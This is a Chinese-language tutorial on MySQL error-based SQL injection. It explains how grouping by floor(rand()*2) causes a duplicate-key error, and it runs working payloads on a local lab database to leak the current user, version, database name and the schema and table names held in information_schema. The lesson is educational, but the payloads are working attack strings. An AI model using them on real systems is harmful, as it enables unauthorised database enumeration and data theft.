1.自报家底
我们本篇文章,将讨论什么是自报家底,相关的函数又有哪些,它的基本使用是怎么样的,为什么自爆家底能够把所有能暴露的都暴露出来,它的原理是什么,我们又如何把用户名、数据库名,甚至比较重要的表名都暴露出来呢
自报家底:如果我们找不到盲注和显注的地方,那没有错误也要制造错误,并把查询的信息让错误带出来,通过不断地嵌入查询,把这些查询结果拼接到错误信息里面,带出来,然后告诉注入者到底有什么东西,把所有家底能透露的都透露了
我们接下来实际操作一下,相关的函数是怎么应用的
我们打开一个终端,连接到hxf数据库,mysql -uroot -proot
use hxf
我们看一下当前有什么表,show tables;
我们在上一篇文章,已经接触过有关的函数,比如if()函数,如果uid大于10005,真的话,返回1,否则就是假,select * from user where if(uid>10005,1,0);
我们发现返回的就只有3条记录,并且uid都是大于10005的,id的参数,如果第一个表达式为真,就返回第二个,否则的话,就返回第三个,有时候,我们查询一个表的时候,排序可以通过循序的办法
我们接下来讨论一下,随机是怎么获得的,select rand();
我们看到,返回0到1之间的小数,select rand();
那我们乘以2,select rand()*2;
它最大就是接近2,也就是0到2之间的一个小数
我们可以通过round()函数,对它们进行四舍五入,select round(rand()*2);
四舍五入最大的结果是2,select round(rand()*2);
最小是0,如果整数,包括0,1,2,三个数据,这是四舍五入
我们还可以对它,递反取整,floor是向下取整,这意味着,最终只有两个值,select floor(rand()*2);
递反取证的意思,把小数点后面直接抹掉,没有四舍五入,仅仅取整数的部分,就是向下取整
我们可以看下结果,把随机数给拷贝下来,0.5629705046890029,select floor(0.5629705046890029);
仍然是0,假如是1.5,直接把小数点后面,全部抹掉,select floor(1.5629705046890029);
返回的就是1,因此,select floor(rand()*2)只有两个结果,一个是0,一个是1
当我们查询select * from user时,我们可以order by rand,这是随机排序,select * from user order by rand();
我们还可以在回车,select * from user order by rand();
我们发现排序结果是不一样的,这是随机数的一个特点
有时候,我们需要把字符串拼接起来,以便满足,我们对注入者,对字符串的一个拼合需求
例如,我们把uid和uname拼合起来,拼接我们用concat函数,比如abc拼def,把这两个字符串拼接起来,select concat(‘abc’,‘def’);
我们在user表中,把uid和uname拼接起来,select concat(uid,uname) from user;
返回结果,我们看到,前面是10003,后面是admin,这样,就是实现了uid和uname的拼接
这个拼接非常有用,我们可以把不同的字符串拼接起来,比如,concat,我们把当前的用户和版本,拼接起来,这种情况,我们可以在网页中,判断出来,如果有显示位的话,select concat(user(),version());
我们可以直接看到这些内容到底是什么
同时,我们还注意到from user,select * from user;
它的金币都是两万,而两万金币的uid,就有5个
我们按照金币来分组,把uid都列出来,我们希望把uid都写在一行中
我们先看gold,count(*),按照金币来分组,group by gold,
select gold,count(*) from user group by gold;
我们看到确实是5个,按照金币来分组,把uid都列出来,这个时候,我们需要group_concat,按照分组来,拼合字符串uid,我们回车看一下,select gold,group_concat(uid) from user group by gold;
这样就把金币为两万的所有uid,都给拼接起来,uid之间以逗号分割,这种情况就实现了一条查询语句,把所有的uid显示在一个字段中,这种情况在网页显示的时候,尤为重要,往往一个显示位,只显示一个字段
把多个字段的值,显示在一个显示位中,对注入者来说,是经常的应用
我们接下来看一下rand()函数的使用,叫随机函数,随机函数乘以2,得到的结果中,我们用floor函数,select floor(rand()*2);
得到的是最大值两个值
而如果我们使用3,那最大的相对有3个值,是0,1,2,如果是4,相对应的有4个值,0,1,2,3,也就是说,这个因子是4,如果它数值越大,那么产生可能性的结果,就越大,这也是它的特性
我们概括一下
相关函数:
If(),rand()
floor()取递反函数
ifnull()
concat()字符串的拼接
group_concat()按分组拼接函数
2.自报家底暴露用户名
我们在这里对用户、用户表进行统计,统计的时候,我们把它字段名a,对a进行group by,看看有什么结果,
select count(*),floor(rand()*2) as a from user group by a;
它给了我们一个报错,这个报错是逐渐报错,1,而我们这里查询,实际上,不会产生逐渐报错
我们在执行几次,
select count(*),floor(rand()*2) as a from user group by a;
我们发现还有个0,那就说明0跟1,实际上来自,floor()这个函数得到的结果,最重要的在a这个字段,因为group by的结果是对a进行分组,也就是floor之后,对这个随机函数得出的因子进行乘2之后,取递反数的结果
group by的含义是逐个分组,假如,我们把count去掉,先看下结果,
select floor(rand()*2) as a from user group by a;
而count结果,是对user中的每条记录,进行逐一的分组统计
如果都是0的时候,select floor(rand()*2) as a from user;
我们可以看到一个,两个不会有问题的,当进入第三条的时候,因为它是另外一个分组,这样子计算也是没有问题的,当进入第四条的时候,因为group by的结果是对0进行分组已经结束了,而随机函数的目标,就导致了group by对0进行在一次分组,而分组是要去重的,因此,在这里就产生了逐渐的冲突,也就是在第四条的时候,要对0进行分组,实际上0分组,已经结束了,它之所以对0重新计算,是因为有随机函数的存在而导致的,所以我们就构造了一个逐渐冲突的错误,这个逐渐冲突的错误,对我们注入者有启示
我们把它写出来,我们通过concat函数把它拼接起来,我们把用户名拼接进去,我们回车,
select count(*),concat(user(),floor(rand()*2)) as a from user group by a;
我们发现这里并没有报错,而是正常的显示,这里是用户名,后面有个1,1是floor的结果
我们看到随机数得到的结果,0都是排序的,1可能在后面,这样产生冲突的可能性比较小,这就是为什么它没有报错的原因
如果这个随机数后面的因子2,它的数值越大,那么产生结果的数值就越大,冲突的可能性就越小,这就是我们为什么在注入攻击中使用2的原因,就是希望增加冲突的可能性,所以,我们在回车,
select count(*),concat(user(),floor(rand()*2)) as a from user group by a;
在回车,
select count(*),concat(user(),floor(rand()*2)) as a from user group by a;
在我们多次回车的时候,我们发现终于有冲突,发生报错,报错的时候,就把用户名给带出来了,我们通过报错的信息中,就得到了用户名,它从localhost登录,同时,我们还可以把database数据库名暴露出来,
select count(*),concat(user(),floor(rand()*2),database()) as a from user group by a;
数据库是hxf,这样,我们就实现了,把用户名和数据库名,爆出来的结果
我们可以概括一下
1.原理:
Select count(*),floor(rand()*2) as a from users group by a;
使用了group by对随机函数进行重复计算的一个原理,group by是主键内部的新建的仪式表,相当于主键,因此,随机函数,再一次发送了重复的值,那么就产生了一个主键冲突,导致报错
2为因子数,数字越小,冲突可能性越大。最小为2。这就是我们经常用2的原因
2.暴露系统用户名敏感信息
Select count(*),concat(version(),floor(rand()*2),user()) as a from users group by a;
我们通过concat(),把版本、用户名、甚至是数据库名拼接在一起
3.暴露所有库名,表名
所有库名:
select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col
我们这里拷贝一下,我们把所有库名,分析一下,因为它们太长了,
select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col;
我们看到暴露了一个数据库名,concat的结果,我们先分析一下,它的原理,跟我们刚刚所发生报错的原理是一致的,仍然是count(*),后面concat()结果,最主要是对floor随机函数的一个数值
我们输入的同样是count,后面我们看到这个floor,拼接在这里,而拼接的结果,我们看到这个select,from,我们看到这个只是一个字段,select 这个字段名,from这个表名,这个是我们前面所学到的字典信息,tables,tables的目标是获得0后面的1条记录,我们这里是从schema_name后面的information_schema,这是数据库的信息,查询到其中1条的数据库信息,就是1个数据库名,我们把它当成1个字段,然后我们select出来,select出来之后和floor进行拼接,这样的结果,最终,我们按照x_col字段名进行group by,然后就报错,我们发现会得到schema
然后,我们对着字典表中,改一下,从1位的1个,产生另外一个数据库名,
select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 1,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col;
我们看到是第二个数据库名,我们在改一下,从第二个开始的第一个,
select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 2,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col;
我们看到dvwa数据库,1是floor(rand(0)*2))产生的结果,show databases;我们看一下,验证一下
我们看到这都是暴露出来的数据库
所有表名:
select count(*),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2))x_col from information_schema.tables group by x_col;
同时,我们还可以把表名替换一下,实际上,我们不过是把字典表中,schema_name换成了查询的table_name,我们粘贴一下,回车,
select count(*),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2))x_col from information_schema.tables group by x_col;
我们看到,我们查询的是,当前数据库下的表,其中有个user表
我们show tables;看一下
这是用户表,我们还可以换一下,也就是查询第二个表是什么,
select count(*),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 2,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2))x_col from information_schema.tables group by x_col;
我们看到是空的,正常,因为我们只有1个表
好,我们概括一下,拼接的部分,多看看,复杂了点
4.小结
我们本篇文章的目标是自爆家底,自爆家底的目标是,如果,它不报错,我们就制造错误,并且把查询的信息和错误,带回来给我们,这种结果,实际上是它爆给我们的,我们看到
我们所使用的常用暴露信息的函数有
if() ifnull()
rand() floor()
Concat()
这些信息,也是最基础的信息
如何把用户名,数据库名,表名等暴露出来。